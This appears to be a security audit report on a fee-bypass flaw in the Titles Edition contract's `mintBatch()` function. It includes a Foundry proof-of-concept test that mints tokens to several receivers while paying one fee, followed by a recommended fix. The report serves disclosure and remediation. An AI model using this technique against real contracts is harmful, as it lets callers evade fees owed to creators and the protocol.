Breezy Lemonade Shark

high

# `mintBatch()` can be used to skip minting fees

## Summary

One of the variants of `mintBatch()` can be used to mint the same token id to multiple receivers. However, the mint fee is collected once, allowing to bypass fees when more than one receiver is specified.

## Vulnerability Detail

This variant of the mint function is intended to mint the given amount of a specific token id to multiple receivers.

```solidity
function mintBatch(
    address[] calldata receivers_,
    uint256 tokenId_,
    uint256 amount_,
    bytes calldata data_
) external payable {
    // wake-disable-next-line reentrancy
    FEE_MANAGER.collectMintFee{value: msg.value}(
        this, tokenId_, amount_, msg.sender, address(0), works[tokenId_].strategy
    );

    for (uint256 i = 0; i < receivers_.length; i++) {
        _issue(receivers_[i], tokenId_, amount_, data_);
    }

    _refundExcess();
}
```

The implementation collects the minting fee for the given amount of tokens to be minted, but ignores that this operation will mint that amount of tokens to each receiver.

This allows anyone to mint an arbitrary amount of tokens by specifying multiple receivers, and just paying a single mint fee.  

## Proof of Concept

```solidity
function test_mint_batch_skip_fees() public {
    Edition edition = new Edition();
    FeeManager feeManager = new FeeManager(address(0xdeadbeef), address(0xc0ffee), address(new MockSplitFactory()));
    TitlesGraph graph = new TitlesGraph(address(this), address(this));

    edition.initialize(
        feeManager,
        graph,
        address(this),
        address(this),
        Metadata({label: "Test Edition", uri: "ipfs.io/test-edition", data: new bytes(0)})
    );

    // publish token
    uint256 tokenId = edition.publish(
        address(1), // creator
        10, // maxSupply
        0, // opensAt
        0, // closesAt
        new Node[](0), // attributions
        Strategy({
            asset: address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE),
            mintFee: 0.01 ether,
            revshareBps: 2500, // 25%
            royaltyBps: 250 // 2.5%
        }),
        Metadata({label: "Best Work Ever", uri: "ipfs.io/best-work-ever", data: new bytes(0)})
    );

    // Normally done by the TitlesCore, but we're testing in isolation
    feeManager.createRoute(edition, tokenId, new Target[](0), address(0));

    // get mint fee
    uint256 mintFee = edition.mintFee(tokenId);

    address minter = makeAddr("minter");
    address receiver1 = makeAddr("receiver1");
    address receiver2 = makeAddr("receiver2");

    address[] memory receivers = new address[](2);
    receivers[0] = receiver1;
    receivers[1] = receiver2;

    vm.deal(minter, 1 ether);

    // even though amount here is 1, we specify two receivers (meaning two mints) and submit fees for just one mint
    vm.prank(minter);
    edition.mintBatch{value: mintFee}(receivers, tokenId, 1, "");

    // two tokens have been minted by paying just 1 mint
    assertEq(edition.balanceOf(receiver1, tokenId), 1);
    assertEq(edition.balanceOf(receiver2, tokenId), 1);
}
```

## Impact

The impact is critical, as it effectively allows any caller to skip the minting fee.

## Code Snippet

https://github.com/sherlock-audit/2024-04-titles/blob/main/wallflower-contract-v2/src/editions/Edition.sol#L304-L320

## Tool used

Manual Review

## Recommendation

When collecting the fee, multiply the `amount_` with the length of the `receivers_` array to account for all mints.

```solidity
FEE_MANAGER.collectMintFee{value: msg.value}(
    this, tokenId_, amount_ * receivers_.length, msg.sender, address(0), works[tokenId_].strategy
);
```
